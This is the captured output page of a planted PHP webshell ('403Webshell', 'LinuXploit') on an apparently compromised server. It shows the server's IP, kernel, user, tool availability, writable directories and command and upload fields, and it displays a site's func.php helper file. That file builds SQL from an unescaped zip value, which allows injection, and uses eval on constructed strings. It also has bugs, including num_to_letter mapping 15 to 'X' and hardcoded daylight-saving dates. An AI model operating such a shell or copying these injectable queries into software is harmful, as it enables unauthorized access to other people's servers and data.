403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/surf_sites/workathomeapplication.com/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/surf_sites/workathomeapplication.com/lib/func.php
<?
if(!function_exists('weeks_in_month'))
{
	function weeks_in_month($month, $year) {
		$start = mktime(0, 0, 0, $month, 1, $year);
		$end = mktime(0, 0, 0, $month, date('t', $start), $year);
		$start_week = date('W', $start);
		$end_week = date('W', $end);
		if ($end_week < $start_week) { 
			return ((52 + $end_week) - $start_week) + 1;
		}
		return ($end_week - $start_week) + 1;
	}
}
if(!function_exists('fixStupidAngularDate'))
{
	function fixStupidAngularDate($date)
	{
		if($date == 'undefined' || empty($date))
		{
			return "";
		}
		else
		{
			$dateData = explode(" ", $date);
			$startDate = $dateData[1].' '.$dateData[2].' '.$dateData[3];
			$result = date("Y-m-d", strtotime($startDate));
			if(strtotime($date) != 0)
			{
				return $date;
			}
			else
			{
				return $result;
			}
		}
	}
}
if(!function_exists('safeString'))
{
	function safeString($string)
	{
		$string = strip_tags($string);
		$string = stripslashes($string);
		return preg_replace('/[^A-Za-z0-9\-\@\.\_\ ]/', '', $string);
	}
}
if(!function_exists('siid')) {
	function siid() {
		return sprintf(
		   '%04x%04x%04x%04x%04x%04x%04x%04x',
			mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535),
			mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535)
		);
	}
}
if(!function_exists('num_to_letter'))
{
	function num_to_letter($num, $cap) 
	{
	    switch($num) {
	        case "1"  : ($cap)?$letter="A":$letter = "a"; break;
	        case "2"  : ($cap)?$letter="B":$letter = "b"; break;
	        case "3"  : ($cap)?$letter="C":$letter = "c"; break;
	        case "4"  : ($cap)?$letter="D":$letter = "d"; break;
	        case "5"  : ($cap)?$letter="E":$letter = "e"; break;
	        case "6"  : ($cap)?$letter="F":$letter = "f"; break;
	        case "7"  : ($cap)?$letter="G":$letter = "g"; break;
	        case "8"  : ($cap)?$letter="H":$letter = "h"; break;
	        case "9"  : ($cap)?$letter="I":$letter = "i"; break;
	        case "10" : ($cap)?$letter="J":$letter = "j"; break;
	        case "11" : ($cap)?$letter="K":$letter = "k"; break;
	        case "12" : ($cap)?$letter="L":$letter = "l"; break;
	        case "13" : ($cap)?$letter="M":$letter = "m"; break;
	        case "14" : ($cap)?$letter="N":$letter = "n"; break;
	        case "15" : ($cap)?$letter="X":$letter = "x"; break;
	        case "16" : ($cap)?$letter="P":$letter = "p"; break;
	        case "17" : ($cap)?$letter="Q":$letter = "q"; break;
	        case "18" : ($cap)?$letter="R":$letter = "r"; break;
	        case "19" : ($cap)?$letter="S":$letter = "s"; break;
	        case "20" : ($cap)?$letter="T":$letter = "t"; break;
	        case "21" : ($cap)?$letter="U":$letter = "u"; break;
	        case "22" : ($cap)?$letter="V":$letter = "v"; break;
	        case "23" : ($cap)?$letter="W":$letter = "w"; break;
	        case "24" : ($cap)?$letter="X":$letter = "x"; break;
	        case "25" : ($cap)?$letter="Y":$letter = "y"; break;
	        case "26" : ($cap)?$letter="Z":$letter = "z"; break;
			default: $letter = "No letter for that number";
	    }
	    return $letter;
	}	
}
if(!function_exists('XMLtoArray'))
{
	function XMLtoArray($XML)
	{
		$xml_parser = xml_parser_create();
		xml_parse_into_struct($xml_parser, $XML, $vals);
		xml_parser_free($xml_parser);
		// wyznaczamy tablice z powtarzajacymi sie tagami na tym samym poziomie
		$_tmp='';
		foreach ($vals as $xml_elem) {
			$x_tag=$xml_elem['tag'];
			$x_level=$xml_elem['level'];
			$x_type=$xml_elem['type'];
			if ($x_level!=1 && $x_type == 'close') {
				if (isset($multi_key[$x_tag][$x_level]))
					$multi_key[$x_tag][$x_level]=1;
				else
					$multi_key[$x_tag][$x_level]=0;
			}
			if ($x_level!=1 && $x_type == 'complete') {
				if ($_tmp==$x_tag)
					$multi_key[$x_tag][$x_level]=1;
				$_tmp=$x_tag;
			}
		}
		// jedziemy po tablicy
		foreach ($vals as $xml_elem) {
			$x_tag=$xml_elem['tag'];
			$x_level=$xml_elem['level'];
			$x_type=$xml_elem['type'];
			if ($x_type == 'open')
				$level[$x_level] = $x_tag;
			$start_level = 1;
			$php_stmt = '$xml_array';
			if ($x_type=='close' && $x_level!=1)
				$multi_key[$x_tag][$x_level]++;
			while ($start_level < $x_level) {
				$php_stmt .= '[$level['.$start_level.']]';
				if (isset($multi_key[$level[$start_level]][$start_level]) && $multi_key[$level[$start_level]][$start_level])
					$php_stmt .= '['.($multi_key[$level[$start_level]][$start_level]-1).']';
				$start_level++;
			}
			$add='';
			if (isset($multi_key[$x_tag][$x_level]) && $multi_key[$x_tag][$x_level] && ($x_type=='open' || $x_type=='complete')) {
				if (!isset($multi_key2[$x_tag][$x_level]))
					$multi_key2[$x_tag][$x_level]=0;
				else
					$multi_key2[$x_tag][$x_level]++;
				$add='['.$multi_key2[$x_tag][$x_level].']';
			}
			if (isset($xml_elem['value']) && trim($xml_elem['value'])!='' && !array_key_exists('attributes', $xml_elem)) {
				if ($x_type == 'open')
					$php_stmt_main=$php_stmt.'[$x_type]'.$add.'[\'content\'] = $xml_elem[\'value\'];';
				else
					$php_stmt_main=$php_stmt.'[$x_tag]'.$add.' = $xml_elem[\'value\'];';
				eval($php_stmt_main);
			}
			if (array_key_exists('attributes', $xml_elem)) {
				if (isset($xml_elem['value'])) {
					$php_stmt_main=$php_stmt.'[$x_tag]'.$add.'[\'content\'] = $xml_elem[\'value\'];';
					eval($php_stmt_main);
				}
				foreach ($xml_elem['attributes'] as $key=>$value) {
					$php_stmt_att=$php_stmt.'[$x_tag]'.$add.'[$key] = $value;';
					eval($php_stmt_att);
				}
			}
		}
		return $xml_array;
	}
}
if(!function_exists('fieldSort')) {
	function fieldSort($ARRAY, $sort, $direction) {
		foreach($ARRAY as $key => $value) {
			$B_ARR[$key] = strtolower($value[$sort]);
		}
		if($direction=="DESC") {
			arsort($B_ARR);
		} else {
			asort($B_ARR);
		}
		foreach($B_ARR as $key =>$value) {
			$C_ARR[] = $ARRAY[$key];
		}
		return $C_ARR; 
	}
}
if(!function_exists('escape')) 
{
	function escape($string)
	{
		global $db;
		$string = $db->clean($string);
		$string = htmlentities($string);
		return $string;
	}
}
if(!function_exists('createZip')) 
{
	function createZip($zipFiles = array(), $destination = '', $overwrite = false) 
	{
		if(file_exists($destination) && !$overwrite) 
		{ 
			return false; 
		}
		$validFiles = array();
		if(count($zipFiles) > 0) 
		{
			foreach($zipFiles as $files => $file) 
			{
				if(file_exists($file['url'])) 
				{
					array_push($validFiles, $file);
				}
			}
		}
		else
		{
			return false; 	
		}
		if(count($validFiles) > 0) 
		{
			$zip = new ZipArchive();
			if($zip->open($destination, $overwrite ? ZIPARCHIVE::OVERWRITE : ZIPARCHIVE::CREATE) !== true) 
			{
				return false; 	
			}
			foreach($validFiles as $files => $file) 
			{
				$zip->addFile($file['url'], $file['locale']);
			}
			$zip->close();
			return file_exists($destination);
		}
		else
		{
			return false; 	
		}
	}
}
if(!function_exists('dollarFormat'))
{
	function dollarFormat($amount)
	{
		$formattedAmount = number_format(floor($amount * 100) / 100, 2, '.', '');	
		return $formattedAmount;
	}
}
if(!function_exists('convertToLocalTime')) 
{
	function convertToLocalTime($time, $zip, $db) 
	{
		if(!empty($zip) && !empty($time))
		{
			$times = explode(":", $time);
			$hours = $times[0];
			$utcOffset = $db->query("
										SELECT 
												* 
										FROM geo.zip_codes
										WHERE 
											zip = '".$zip ."'
										LIMIT 1
									");
			$UTC_offset = ($utcOffset[0]['timezone'] * -1);
			
			if($UTC_offset == 8)
			{
				$timeZone = "PST";	
			}
			else if($UTC_offset == 7)
			{
				$timeZone = "MST";	
			}
			else if($UTC_offset == 6)
			{
				$timeZone = "CT";	
			}
			else if($UTC_offset == 5)
			{
				$timeZone = "EST";	
			}
			else if($UTC_offset == 10)
			{
				$timeZone = "HST";	
			}
			else if($UTC_offset == 9)
			{
				$timeZone = "AKST";	
			}
			$startOffset = $UTC_offset;
			$hasDST = false;
			$dateAdjustment = date("Y-m-d");
			$dateAdjustment = strtotime($dateAdjustment);
			$startDST = strtotime(date("Y")."-03-13");
			$endDST = strtotime(date("Y")."-11-06");
			if($dateAdjustment > $startDST && $dateAdjustment < $endDST)
			{
				$hasDST = true;
			}
			if($startOffset > 7)
			{
				if($hasDST)
				{
					$UTC_offset = $UTC_offset - 7;	
				}
				else
				{
					$UTC_offset = $UTC_offset - 6;	
				}
			}
			else
			{
				if($hasDST)
				{
					$UTC_offset = 7 - $UTC_offset;		
				}
				else
				{
					$UTC_offset = 8 - $UTC_offset;	
				}
			}
			if($hasDST)
			{
				if($startOffset == 8)
				{
					$timeZone = "PDT";	
				}
				else if($startOffset == 7)
				{
					$timeZone = "MDT";	
				}
				else if($startOffset == 6)
				{
					$timeZone = "CDT";	
				}
				else if($startOffset == 5)
				{
					$timeZone = "EDT";	
				}
			}
			else
			{
				$UTC_offset = $UTC_offset - $utcOffset[0]['dst'];
			}
			if($startOffset > 7)
			{
				$hours = $hours - $UTC_offset;
			}
			else
			{
				$hours = $hours + $UTC_offset;
			}
			$time = $hours.":".$times[1];
			return array("time"=>$time, "zone"=>$timeZone);
		}
		else
		{
			return array("time"=>$time, "zone"=>"MST");	
		}
	}
}
if(!function_exists('convertFromLocalTime')) 
{
	function convertFromLocalTime($time, $zip, $db) 
	{
		if(!empty($zip) && !empty($time))
		{
			$times = explode(":", $time);
			$hours = $times[0];
			$utcOffset = $db->query("
										SELECT 
												* 
										FROM geo.zip_codes
										WHERE 
											zip = '".$zip ."'
										LIMIT 1
									");
			$UTC_offset = ($utcOffset[0]['timezone'] * -1);
			if($UTC_offset == 8)
			{
				$timeZone = "PST";	
			}
			else if($UTC_offset == 7)
			{
				$timeZone = "MST";	
			}
			else if($UTC_offset == 6)
			{
				$timeZone = "CT";	
			}
			else if($UTC_offset == 5)
			{
				$timeZone = "EST";	
			}
			else if($UTC_offset == 10)
			{
				$timeZone = "HST";	
			}
			else if($UTC_offset == 9)
			{
				$timeZone = "AKST";	
			}
			$startOffset = $UTC_offset;
			$hasDST = false;
			$dateAdjustment = date("Y-m-d");
			$dateAdjustment = strtotime($dateAdjustment);
			$startDST = strtotime(date("Y")."-03-13");
			$endDST = strtotime(date("Y")."-11-06");
			if($dateAdjustment > $startDST && $dateAdjustment < $endDST)
			{
				$hasDST = true;
			}
			if($startOffset > 7) 
			{
				if($hasDST)
				{
					$UTC_offset = $UTC_offset - 7;	
				}
				else
				{
					$UTC_offset = $UTC_offset - 6;	
				}
			}
			else
			{
				if($hasDST)
				{
					$UTC_offset = 7 - $UTC_offset;		
				}
				else
				{
					$UTC_offset = 8 - $UTC_offset;	
				}
			}
			if($hasDST)
			{
				if($startOffset == 8)
				{
					$timeZone = "PDT";	
				}
				else if($startOffset == 7)
				{
					$timeZone = "MDT";	
				}
				else if($startOffset == 6)
				{
					$timeZone = "CDT";	
				}
				else if($startOffset == 5)
				{
					$timeZone = "EDT";	
				}
				else if($startOffset == 5)
				{
					$timeZone = "EDT";	
				}
			}
			else
			{
				$UTC_offset = $UTC_offset - $utcOffset[0]['dst'];
				
			}
			if($startOffset > 7)
			{
				$hours = $hours + $UTC_offset;
			}
			else
			{
				$hours = $hours - $UTC_offset;
			}
			$time = $hours.":".$times[1];
			return array("time"=>$time, "zone"=>$timeZone);
		}
		else
		{
			return array("time"=>$time, "zone"=>"MST");	
		}
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit